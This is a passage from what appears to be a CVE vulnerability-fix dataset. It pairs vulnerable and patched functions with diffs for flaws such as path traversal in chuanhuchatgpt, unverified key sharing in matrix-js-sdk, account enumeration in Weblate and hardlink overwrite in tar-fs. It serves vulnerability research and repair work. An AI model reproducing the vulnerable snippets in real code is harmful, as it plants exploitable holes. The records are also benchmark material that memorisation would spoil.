scopedData.filter(function(datum) {\n        return jsonLogic.truthy( jsonLogic.apply(scopedLogic, datum));\n      });\n    } else if (op === \"map\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n\n      if ( ! Array.isArray(scopedData)) {\n        return [];\n      }\n\n      return scopedData.map(function(datum) {\n        return jsonLogic.apply(scopedLogic, datum);\n      });\n    } else if (op === \"reduce\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n      initial = typeof values[2] !== \"undefined\" ? values[2] : null;\n\n      if ( ! Array.isArray(scopedData)) {\n        return initial;\n      }\n\n      return scopedData.reduce(\n        function(accumulator, current) {\n          return jsonLogic.apply(\n            scopedLogic,\n            {current: current, accumulator: accumulator}\n          );\n        },\n        initial\n      );\n    } else if (op === \"all\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n      // All of an empty set is false. Note, some and none have correct fallback after the for loop\n      if ( ! scopedData.length) {\n        return false;\n      }\n      for (i=0; i < scopedData.length; i+=1) {\n        if ( ! jsonLogic.truthy( jsonLogic.apply(scopedLogic, scopedData[i]) )) {\n          return false; // First falsy, short circuit\n        }\n      }\n      return true; // All were truthy\n    } else if (op === \"none\") {\n      filtered = jsonLogic.apply({filter: values}, data);\n      return filtered.length === 0;\n    } else if (op === \"some\") {\n      filtered = jsonLogic.apply({filter: values}, data);\n      return filtered.length > 0;\n    }\n\n    // Everyone else gets immediate depth-first recursion\n    values = values.map(function(val) {\n      return jsonLogic.apply(val, data);\n    });\n\n\n    // The operation is called with \"data\" bound to its \"this\" and \"values\" passed as arguments.\n    // Structured commands like % or > can name formal arguments while flexible commands (like missing or merge) can operate on the pseudo-array arguments\n    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments\n    if (operations.hasOwnProperty(op) && typeof operations[op] === \"function\") {\n      return operations[op].apply(data, values);\n    } else if (op.indexOf(\".\") > 0) { // Contains a dot, and not in the 0th position\n      var sub_ops = String(op).split(\".\");\n      var operation = operations;\n      for (i = 0; i < sub_ops.length; i++) {\n\n        if (!operation.hasOwnProperty(sub_ops[i])) {\n          throw new Error(\"Unrecognized operation \" + op +\n            \" (failed at \" + sub_ops.slice(0, i+1).join(\".\") + \")\");\n        }\n        // Descending into operations\n        operation = operation[sub_ops[i]];\n      }\n\n      return operation.apply(data, values);\n    }\n\n    throw new Error(\"Unrecognized operation \" + op );\n  };"}], "vul_patch": "--- a/logic.js\n+++ b/logic.js\n@@ -136,18 +136,19 @@\n     // The operation is called with \"data\" bound to its \"this\" and \"values\" passed as arguments.\n     // Structured commands like % or > can name formal arguments while flexible commands (like missing or merge) can operate on the pseudo-array arguments\n     // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments\n-    if (typeof operations[op] === \"function\") {\n+    if (operations.hasOwnProperty(op) && typeof operations[op] === \"function\") {\n       return operations[op].apply(data, values);\n     } else if (op.indexOf(\".\") > 0) { // Contains a dot, and not in the 0th position\n       var sub_ops = String(op).split(\".\");\n       var operation = operations;\n       for (i = 0; i < sub_ops.length; i++) {\n-        // Descending into operations\n-        operation = operation[sub_ops[i]];\n-        if (operation === undefined) {\n+\n+        if (!operation.hasOwnProperty(sub_ops[i])) {\n           throw new Error(\"Unrecognized operation \" + op +\n             \" (failed at \" + sub_ops.slice(0, i+1).join(\".\") + \")\");\n         }\n+        // Descending into operations\n+        operation = operation[sub_ops[i]];\n       }\n \n       return operation.apply(data, values);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-7962", "cve_description": "An arbitrary file read vulnerability exists in gaizhenbiao/chuanhuchatgpt version 20240628 due to insufficient validation when loading prompt template files. An attacker can read any file that matches specific criteria using an absolute path. The file must not have a .json extension and, except for the first line, every other line must contain commas. This vulnerability allows reading parts of format-compliant files, including code and log files, which may contain highly sensitive information such as account credentials.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gaizhenbiao/chuanhuchatgpt", "patch_url": ["https://github.com/gaizhenbiao/chuanhuchatgpt/commit/2836fd1db3efcd5ede63c0e7fbbdf677730dbb51"], "programing_language": "Python", "vul_func": [{"id": "vul_py_369_1", "commit": "c2c2b86d14e28d3b106f067ebb9b44f8acfbff1e", "file_path": "modules/utils.py", "start_line": 520, "end_line": 540, "snippet": "def load_template(filename, mode=0):\n    logging.debug(f\"\\u52a0\\u8f7d\\u6a21\\u677f\\u6587\\u4ef6{filename}\\uff0c\\u6a21\\u5f0f\\u4e3a{mode}\\uff080\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\u548c\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c1\\u4e3a\\u8fd4\\u56de\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c2\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\uff09\")\n    lines = []\n    if filename.endswith(\".json\"):\n        with open(os.path.join(TEMPLATES_DIR, filename), \"r\", encoding=\"utf8\") as f:\n            lines = json.load(f)\n        lines = [[i[\"act\"], i[\"prompt\"]] for i in lines]\n    else:\n        with open(\n            os.path.join(TEMPLATES_DIR, filename), \"r\", encoding=\"utf8\"\n        ) as csvfile:\n            reader = csv.reader(csvfile)\n            lines = list(reader)\n        lines = lines[1:]\n    if mode == 1:\n        return sorted_by_pinyin([row[0] for row in lines])\n    elif mode == 2:\n        return {row[0]: row[1] for row in lines}\n    else:\n        choices = sorted_by_pinyin([row[0] for row in lines])\n        return {row[0]: row[1] for row in lines}, gr.Dropdown(choices=choices)"}], "fix_func": [{"id": "fix_py_369_1", "commit": "2836fd1db3efcd5ede63c0e7fbbdf677730dbb51", "file_path": "modules/utils.py", "start_line": 520, "end_line": 544, "snippet": "def load_template(filename, mode=0):\n    logging.debug(f\"\\u52a0\\u8f7d\\u6a21\\u677f\\u6587\\u4ef6{filename}\\uff0c\\u6a21\\u5f0f\\u4e3a{mode}\\uff080\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\u548c\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c1\\u4e3a\\u8fd4\\u56de\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c2\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\uff09\")\n    lines = []\n    template_file_path = os.path.join(TEMPLATES_DIR, filename)\n    # check if template_file_path is inside TEMPLATES_DIR\n    if not os.path.realpath(template_file_path).startswith(os.path.realpath(TEMPLATES_DIR)):\n        return \"Invalid template file path\"\n    if filename.endswith(\".json\"):\n        with open(template_file_path, \"r\", encoding=\"utf8\") as f:\n            lines = json.load(f)\n        lines = [[i[\"act\"], i[\"prompt\"]] for i in lines]\n    else:\n        with open(\n            template_file_path, \"r\", encoding=\"utf8\"\n        ) as csvfile:\n            reader = csv.reader(csvfile)\n            lines = list(reader)\n        lines = lines[1:]\n    if mode == 1:\n        return sorted_by_pinyin([row[0] for row in lines])\n    elif mode == 2:\n        return {row[0]: row[1] for row in lines}\n    else:\n        choices = sorted_by_pinyin([row[0] for row in lines])\n        return {row[0]: row[1] for row in lines}, gr.Dropdown(choices=choices)"}], "vul_patch": "--- a/modules/utils.py\n+++ b/modules/utils.py\n@@ -1,13 +1,17 @@\n def load_template(filename, mode=0):\n     logging.debug(f\"\\u52a0\\u8f7d\\u6a21\\u677f\\u6587\\u4ef6{filename}\\uff0c\\u6a21\\u5f0f\\u4e3a{mode}\\uff080\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\u548c\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c1\\u4e3a\\u8fd4\\u56de\\u4e0b\\u62c9\\u83dc\\u5355\\uff0c2\\u4e3a\\u8fd4\\u56de\\u5b57\\u5178\\uff09\")\n     lines = []\n+    template_file_path = os.path.join(TEMPLATES_DIR, filename)\n+    # check if template_file_path is inside TEMPLATES_DIR\n+    if not os.path.realpath(template_file_path).startswith(os.path.realpath(TEMPLATES_DIR)):\n+        return \"Invalid template file path\"\n     if filename.endswith(\".json\"):\n-        with open(os.path.join(TEMPLATES_DIR, filename), \"r\", encoding=\"utf8\") as f:\n+        with open(template_file_path, \"r\", encoding=\"utf8\") as f:\n             lines = json.load(f)\n         lines = [[i[\"act\"], i[\"prompt\"]] for i in lines]\n     else:\n         with open(\n-            os.path.join(TEMPLATES_DIR, filename), \"r\", encoding=\"utf8\"\n+            template_file_path, \"r\", encoding=\"utf8\"\n         ) as csvfile:\n             reader = csv.reader(csvfile)\n             lines = list(reader)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47080", "cve_description": "matrix-js-sdk is the Matrix Client-Server SDK for JavaScript and TypeScript. In matrix-js-sdk versions versions 9.11.0 through 34.7.0, the method `MatrixClient.sendSharedHistoryKeys` is vulnerable to interception by malicious homeservers.  The method was introduced by MSC3061) and is commonly used to share historical message keys with newly invited users, granting them access to past messages in the room. However, it unconditionally sends these \"shared\" keys to all of the invited user's devices, regardless of whether the user's cryptographic identity is verified or whether the user's devices are signed by that identity. This allows the attacker to potentially inject its own devices to receive sensitive historical keys without proper security checks. Note that this only affects clients running the SDK with the legacy crypto stack. Clients using the new Rust cryptography stack (i.e. those that call `MatrixClient.initRustCrypto()` instead of `MatrixClient.initCrypto()`) are unaffected by this vulnerability, because `MatrixClient.sendSharedHistoryKeys()` raises an exception in such environments. The vulnerability was fixed in matrix-js-sdk 34.8.0 by removing the vulnerable functionality. As a workaround, remove use of affected functionality from clients.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/matrix-org/matrix-js-sdk", "patch_url": ["https://github.com/matrix-org/matrix-js-sdk/commit/2fb1e659c81f75253c047832dc9dcc2beddfac5f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_205_1", "commit": "868bbfc", "file_path": "spec/unit/models/MSC3089TreeSpace.spec.ts", "start_line": 31, "end_line": 212, "snippet": "describe(\"MSC3089TreeSpace\", () => {\n    let client: MatrixClient;\n    let room: any;\n    let tree: MSC3089TreeSpace;\n    const roomId = \"!tree:localhost\";\n    const targetUser = \"@target:example.org\";\n\n    let powerLevels: MatrixEvent;\n\n    beforeEach(() => {\n        // TODO: Use utility functions to create test rooms and clients\n        client = <MatrixClient>{\n            getRoom: (fetchRoomId: string) => {\n                if (fetchRoomId === roomId) {\n                    return room;\n                } else {\n                    throw new Error(\"Unexpected fetch for unknown room\");\n                }\n            },\n        };\n        room = <Room>{\n            currentState: {\n                getStateEvents: (evType: EventType, stateKey: string) => {\n                    if (evType === EventType.RoomPowerLevels && stateKey === \"\") {\n                        return powerLevels;\n                    } else {\n                        throw new Error(\"Accessed unexpected state event type or key\");\n                    }\n                },\n            },\n        };\n        tree = new MSC3089TreeSpace(client, roomId);\n        makePowerLevels(DEFAULT_TREE_POWER_LEVELS_TEMPLATE);\n    });\n\n    function makePowerLevels(content: any) {\n        powerLevels = new MatrixEvent({\n            type: EventType.RoomPowerLevels,\n            state_key: \"\",\n            sender: \"@creator:localhost\",\n            event_id: \"$powerlevels\",\n            room_id: roomId,\n            content: content,\n        });\n    }\n\n    it(\"should populate the room reference\", () => {\n        expect(tree.room).toBe(room);\n    });\n\n    it(\"should proxy the ID member to room ID\", () => {\n        expect(tree.id).toEqual(tree.roomId);\n        expect(tree.id).toEqual(roomId);\n    });\n\n    it(\"should support setting the name of the space\", async () => {\n        const newName = \"NEW NAME\";\n        const fn = jest\n            .fn()\n            .mockImplementation((stateRoomId: string, eventType: EventType, content: any, stateKey: string) => {\n                expect(stateRoomId).toEqual(roomId);\n                expect(eventType).toEqual(EventType.RoomName);\n                expect(stateKey).toEqual(\"\");\n                expect(content).toMatchObject({ name: newName });\n                return Promise.resolve();\n            });\n        client.sendStateEvent = fn;\n        await tree.setName(newName);\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should support inviting users to the space\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        await tree.invite(target, false, false);\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should retry invites to the space\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            if (fn.mock.calls.length === 1) return Promise.reject(new Error(\"Sample Failure\"));\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        await tree.invite(target, false, false);\n        expect(fn).toHaveBeenCalledTimes(2);\n    });\n\n    it(\"should not retry invite permission errors\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.reject(new MatrixError({ errcode: \"M_FORBIDDEN\", error: \"Sample Failure\" }));\n        });\n        client.invite = fn;\n\n        await expect(tree.invite(target, false, false)).rejects.toThrow(\"MatrixError: Sample Failure\");\n\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should invite to subspaces\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        tree.getDirectories = () => [\n            // Bare minimum overrides. We proxy to our mock function manually so we can\n            // count the calls, not to ensure accuracy. The invite function behaving correctly\n            // is covered by another test.\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n        ];\n\n        await tree.invite(target, true, false);\n        expect(fn).toHaveBeenCalledTimes(4);\n    });\n\n    it(\"should share keys with invitees\", async () => {\n        const target = targetUser;\n        const sendKeysFn = jest.fn().mockImplementation((inviteRoomId: string, userIds: string[]) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userIds).toMatchObject([target]);\n            return Promise.resolve();\n        });\n        client.invite = () => Promise.resolve({}); // we're not testing this here - see other tests\n        client.sendSharedHistoryKeys = sendKeysFn;\n\n        // Mock the history check as best as possible\n        const historyVis = \"shared\";\n        const historyFn = jest.fn().mockImplementation((eventType: string, stateKey?: string) => {\n            // We're not expecting a super rigid test: the function that calls this internally isn't\n            // really being tested here.\n            expect(eventType).toEqual(EventType.RoomHistoryVisibility);\n            expect(stateKey).toEqual(\"\");\n            return { getContent: () => ({ history_visibility: historyVis }) }; // eslint-disable-line camelcase\n        });\n        room.currentState.getStateEvents = historyFn;\n\n        // Note: inverse test is implicit from other tests, which disable the call stack of this\n        // test in order to pass.\n        await tree.invite(target, false, true);\n        expect(sendKeysFn).toHaveBeenCalledTimes(1);\n        expect(historyFn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should not share keys with invitees if inappropriate history visibility\", async () => {\n        const target = targetUser;\n        const sendKeysFn = jest.fn().mockImplementation((inviteRoomId: string, userIds: string[]) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userIds).toMatchObject([target]);\n            return Promise.resolve();\n        });\n        client.invite = () => Promise.resolve({}); // we're not testing this here - see other tests\n        client.sendSharedHistoryKeys = sendKeysFn;\n\n        const historyVis = \"joined\"; // NOTE: Changed.\n        const historyFn = jest.fn().mockImplementation((eventType: string, stateKey?: string) => {\n            expect(eventType).toEqual(EventType.RoomHistoryVisibility);\n            expect(stateKey).toEqual(\"\");\n            return { getContent: () => ({ history_visibility: historyVis }) }; // eslint-disable-line camelcase\n        });\n        room.currentState.getStateEvents = historyFn;\n\n        await tree.invite(target, false, true);\n        expect(sendKeysFn).toHaveBeenCalledTimes(0);\n        expect(historyFn).toHaveBeenCalledTimes(1);\n    });\n"}, {"id": "vul_js_205_2", "commit": "868bbfc", "file_path": "src/models/MSC3089TreeSpace.ts", "start_line": 146, "end_line": 161, "snippet": "    public async invite(userId: string, andSubspaces = true, shareHistoryKeys = true): Promise<void> {\n        const promises: Promise<void>[] = [this.retryInvite(userId)];\n        if (andSubspaces) {\n            promises.push(...this.getDirectories().map((d) => d.invite(userId, andSubspaces, shareHistoryKeys)));\n        }\n        return Promise.all(promises).then(() => {\n            // Note: key sharing is default on because for file trees it is relatively important that the invite\n            // target can actually decrypt the files. The implied use case is that by inviting a user to the tree\n            // it means the sender would like the receiver to view/download the files contained within, much like\n            // sharing a folder in other circles.\n            if (shareHistoryKeys && isRoomSharedHistory(this.room)) {\n                // noinspection JSIgnoredPromiseFromCall - we aren't concerned as much if this fails.\n                this.client.sendSharedHistoryKeys(this.roomId, [userId]);\n            }\n        });\n    }"}], "fix_func": [{"id": "fix_js_205_1", "commit": "2fb1e65", "file_path": "spec/unit/models/MSC3089TreeSpace.spec.ts", "start_line": 31, "end_line": 161, "snippet": "describe(\"MSC3089TreeSpace\", () => {\n    let client: MatrixClient;\n    let room: any;\n    let tree: MSC3089TreeSpace;\n    const roomId = \"!tree:localhost\";\n    const targetUser = \"@target:example.org\";\n\n    let powerLevels: MatrixEvent;\n\n    beforeEach(() => {\n        // TODO: Use utility functions to create test rooms and clients\n        client = <MatrixClient>{\n            getRoom: (fetchRoomId: string) => {\n                if (fetchRoomId === roomId) {\n                    return room;\n                } else {\n                    throw new Error(\"Unexpected fetch for unknown room\");\n                }\n            },\n        };\n        room = <Room>{\n            currentState: {\n                getStateEvents: (evType: EventType, stateKey: string) => {\n                    if (evType === EventType.RoomPowerLevels && stateKey === \"\") {\n                        return powerLevels;\n                    } else {\n                        throw new Error(\"Accessed unexpected state event type or key\");\n                    }\n                },\n            },\n        };\n        tree = new MSC3089TreeSpace(client, roomId);\n        makePowerLevels(DEFAULT_TREE_POWER_LEVELS_TEMPLATE);\n    });\n\n    function makePowerLevels(content: any) {\n        powerLevels = new MatrixEvent({\n            type: EventType.RoomPowerLevels,\n            state_key: \"\",\n            sender: \"@creator:localhost\",\n            event_id: \"$powerlevels\",\n            room_id: roomId,\n            content: content,\n        });\n    }\n\n    it(\"should populate the room reference\", () => {\n        expect(tree.room).toBe(room);\n    });\n\n    it(\"should proxy the ID member to room ID\", () => {\n        expect(tree.id).toEqual(tree.roomId);\n        expect(tree.id).toEqual(roomId);\n    });\n\n    it(\"should support setting the name of the space\", async () => {\n        const newName = \"NEW NAME\";\n        const fn = jest\n            .fn()\n            .mockImplementation((stateRoomId: string, eventType: EventType, content: any, stateKey: string) => {\n                expect(stateRoomId).toEqual(roomId);\n                expect(eventType).toEqual(EventType.RoomName);\n                expect(stateKey).toEqual(\"\");\n                expect(content).toMatchObject({ name: newName });\n                return Promise.resolve();\n            });\n        client.sendStateEvent = fn;\n        await tree.setName(newName);\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should support inviting users to the space\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        await tree.invite(target, false);\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should retry invites to the space\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            if (fn.mock.calls.length === 1) return Promise.reject(new Error(\"Sample Failure\"));\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        await tree.invite(target, false);\n        expect(fn).toHaveBeenCalledTimes(2);\n    });\n\n    it(\"should not retry invite permission errors\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.reject(new MatrixError({ errcode: \"M_FORBIDDEN\", error: \"Sample Failure\" }));\n        });\n        client.invite = fn;\n\n        await expect(tree.invite(target, false)).rejects.toThrow(\"MatrixError: Sample Failure\");\n\n        expect(fn).toHaveBeenCalledTimes(1);\n    });\n\n    it(\"should invite to subspaces\", async () => {\n        const target = targetUser;\n        const fn = jest.fn().mockImplementation((inviteRoomId: string, userId: string) => {\n            expect(inviteRoomId).toEqual(roomId);\n            expect(userId).toEqual(target);\n            return Promise.resolve();\n        });\n        client.invite = fn;\n        tree.getDirectories = () => [\n            // Bare minimum overrides. We proxy to our mock function manually so we can\n            // count the calls, not to ensure accuracy. The invite function behaving correctly\n            // is covered by another test.\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n            { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n        ];\n\n        await tree.invite(target, true);\n        expect(fn).toHaveBeenCalledTimes(4);\n    });\n"}, {"id": "fix_js_205_2", "commit": "2fb1e65", "file_path": "src/models/MSC3089TreeSpace.ts", "start_line": 140, "end_line": 146, "snippet": "    public async invite(userId: string, andSubspaces = true): Promise<void> {\n        const promises: Promise<void>[] = [this.retryInvite(userId)];\n        if (andSubspaces) {\n            promises.push(...this.getDirectories().map((d) => d.invite(userId, andSubspaces)));\n        }\n        await Promise.all(promises);\n    }"}], "vul_patch": "--- a/spec/unit/models/MSC3089TreeSpace.spec.ts\n+++ b/spec/unit/models/MSC3089TreeSpace.spec.ts\n@@ -77,7 +77,7 @@\n             return Promise.resolve();\n         });\n         client.invite = fn;\n-        await tree.invite(target, false, false);\n+        await tree.invite(target, false);\n         expect(fn).toHaveBeenCalledTimes(1);\n     });\n \n@@ -90,7 +90,7 @@\n             return Promise.resolve();\n         });\n         client.invite = fn;\n-        await tree.invite(target, false, false);\n+        await tree.invite(target, false);\n         expect(fn).toHaveBeenCalledTimes(2);\n     });\n \n@@ -103,7 +103,7 @@\n         });\n         client.invite = fn;\n \n-        await expect(tree.invite(target, false, false)).rejects.toThrow(\"MatrixError: Sample Failure\");\n+        await expect(tree.invite(target, false)).rejects.toThrow(\"MatrixError: Sample Failure\");\n \n         expect(fn).toHaveBeenCalledTimes(1);\n     });\n@@ -125,57 +125,6 @@\n             { invite: (userId) => fn(tree.roomId, userId) } as MSC3089TreeSpace,\n         ];\n \n-        await tree.invite(target, true, false);\n+        await tree.invite(target, true);\n         expect(fn).toHaveBeenCalledTimes(4);\n     });\n-\n-    it(\"should share keys with invitees\", async () => {\n-        const target = targetUser;\n-        const sendKeysFn = jest.fn().mockImplementation((inviteRoomId: string, userIds: string[]) => {\n-            expect(inviteRoomId).toEqual(roomId);\n-            expect(userIds).toMatchObject([target]);\n-            return Promise.resolve();\n-        });\n-        client.invite = () => Promise.resolve({}); // we're not testing this here - see other tests\n-        client.sendSharedHistoryKeys = sendKeysFn;\n-\n-        // Mock the history check as best as possible\n-        const historyVis = \"shared\";\n-        const historyFn = jest.fn().mockImplementation((eventType: string, stateKey?: string) => {\n-            // We're not expecting a super rigid test: the function that calls this internally isn't\n-            // really being tested here.\n-            expect(eventType).toEqual(EventType.RoomHistoryVisibility);\n-            expect(stateKey).toEqual(\"\");\n-            return { getContent: () => ({ history_visibility: historyVis }) }; // eslint-disable-line camelcase\n-        });\n-        room.currentState.getStateEvents = historyFn;\n-\n-        // Note: inverse test is implicit from other tests, which disable the call stack of this\n-        // test in order to pass.\n-        await tree.invite(target, false, true);\n-        expect(sendKeysFn).toHaveBeenCalledTimes(1);\n-        expect(historyFn).toHaveBeenCalledTimes(1);\n-    });\n-\n-    it(\"should not share keys with invitees if inappropriate history visibility\", async () => {\n-        const target = targetUser;\n-        const sendKeysFn = jest.fn().mockImplementation((inviteRoomId: string, userIds: string[]) => {\n-            expect(inviteRoomId).toEqual(roomId);\n-            expect(userIds).toMatchObject([target]);\n-            return Promise.resolve();\n-        });\n-        client.invite = () => Promise.resolve({}); // we're not testing this here - see other tests\n-        client.sendSharedHistoryKeys = sendKeysFn;\n-\n-        const historyVis = \"joined\"; // NOTE: Changed.\n-        const historyFn = jest.fn().mockImplementation((eventType: string, stateKey?: string) => {\n-            expect(eventType).toEqual(EventType.RoomHistoryVisibility);\n-            expect(stateKey).toEqual(\"\");\n-            return { getContent: () => ({ history_visibility: historyVis }) }; // eslint-disable-line camelcase\n-        });\n-        room.currentState.getStateEvents = historyFn;\n-\n-        await tree.invite(target, false, true);\n-        expect(sendKeysFn).toHaveBeenCalledTimes(0);\n-        expect(historyFn).toHaveBeenCalledTimes(1);\n-    });\n\n--- a/src/models/MSC3089TreeSpace.ts\n+++ b/src/models/MSC3089TreeSpace.ts\n@@ -1,16 +1,7 @@\n-    public async invite(userId: string, andSubspaces = true, shareHistoryKeys = true): Promise<void> {\n+    public async invite(userId: string, andSubspaces = true): Promise<void> {\n         const promises: Promise<void>[] = [this.retryInvite(userId)];\n         if (andSubspaces) {\n-            promises.push(...this.getDirectories().map((d) => d.invite(userId, andSubspaces, shareHistoryKeys)));\n+            promises.push(...this.getDirectories().map((d) => d.invite(userId, andSubspaces)));\n         }\n-        return Promise.all(promises).then(() => {\n-            // Note: key sharing is default on because for file trees it is relatively important that the invite\n-            // target can actually decrypt the files. The implied use case is that by inviting a user to the tree\n-            // it means the sender would like the receiver to view/download the files contained within, much like\n-            // sharing a folder in other circles.\n-            if (shareHistoryKeys && isRoomSharedHistory(this.room)) {\n-                // noinspection JSIgnoredPromiseFromCall - we aren't concerned as much if this fails.\n-                this.client.sendSharedHistoryKeys(this.roomId, [userId]);\n-            }\n-        });\n+        await Promise.all(promises);\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-5537", "cve_description": "The password reset form in Weblate before 2.10.1 provides different error messages depending on whether the email address is associated with an account, which allows remote attackers to enumerate user accounts via a series of requests.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/WeblateOrg/weblate", "patch_url": ["https://github.com/WeblateOrg/weblate/commit/abe0d2a29a1d8e896bfe829c8461bf8b391f1079"], "programing_language": "Python", "vul_func": [{"id": "vul_py_345_1", "commit": "e95eacf59f781d8a993be8a23b58e27afdacd9c7", "file_path": "weblate/accounts/views.py", "start_line": 554, "end_line": 585, "snippet": "def reset_password(request):\n    '''\n    Password reset handling.\n    '''\n    if 'email' not in load_backends(BACKENDS).keys():\n        messages.error(\n            request,\n            _('Can not reset password, email authentication is disabled!')\n        )\n        return redirect('login')\n\n    if request.method == 'POST':\n        form = ResetForm(request.POST)\n        if form.is_valid():\n            # Force creating new session\n            request.session.create()\n            if request.user.is_authenticated():\n                logout(request)\n\n            request.session['password_reset'] = True\n            return complete(request, 'email')\n    else:\n        form = ResetForm()\n\n    return render(\n        request,\n        'accounts/reset.html',\n        {\n            'title': _('Password reset'),\n            'form': form,\n        }\n    )"}], "fix_func": [{"id": "fix_py_345_1", "commit": "abe0d2a29a1d8e896bfe829c8461bf8b391f1079", "file_path": "weblate/accounts/views.py", "start_line": 554, "end_line": 587, "snippet": "def reset_password(request):\n    '''\n    Password reset handling.\n    '''\n    if 'email' not in load_backends(BACKENDS).keys():\n        messages.error(\n            request,\n            _('Can not reset password, email authentication is disabled!')\n        )\n        return redirect('login')\n\n    if request.method == 'POST':\n        form = ResetForm(request.POST)\n        if form.is_valid():\n            # Force creating new session\n            request.session.create()\n            if request.user.is_authenticated():\n                logout(request)\n\n            request.session['password_reset'] = True\n            return complete(request, 'email')\n        else:\n            return redirect('email-sent')\n    else:\n        form = ResetForm()\n\n    return render(\n        request,\n        'accounts/reset.html',\n        {\n            'title': _('Password reset'),\n            'form': form,\n        }\n    )"}], "vul_patch": "--- a/weblate/accounts/views.py\n+++ b/weblate/accounts/views.py\n@@ -19,6 +19,8 @@\n \n             request.session['password_reset'] = True\n             return complete(request, 'email')\n+        else:\n+            return redirect('email-sent')\n     else:\n         form = ResetForm()\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-20835", "cve_description": "A vulnerability was found in tar-fs before 1.16.2. An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/mafintosh/tar-fs", "patch_url": ["https://github.com/mafintosh/tar-fs/commit/06672828e6fa29ac8551b1b6f36c852a9a3c58a2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_199_1", "commit": "7b4ab17", "file_path": "index.js", "start_line": 261, "end_line": 275, "snippet": "    var onlink = function () {\n      if (win32) return next() // skip links on win for now before it can be tested\n      xfs.unlink(name, function () {\n        var srcpath = path.resolve(cwd, header.linkname)\n\n        xfs.link(srcpath, name, function (err) {\n          if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) {\n            stream = xfs.createReadStream(srcpath)\n            return onfile()\n          }\n\n          stat(err)\n        })\n      })\n    }"}], "fix_func": [{"id": "fix_js_199_1", "commit": "0667282", "file_path": "index.js", "start_line": 261, "end_line": 275, "snippet": "    var onlink = function () {\n      if (win32) return next() // skip links on win for now before it can be 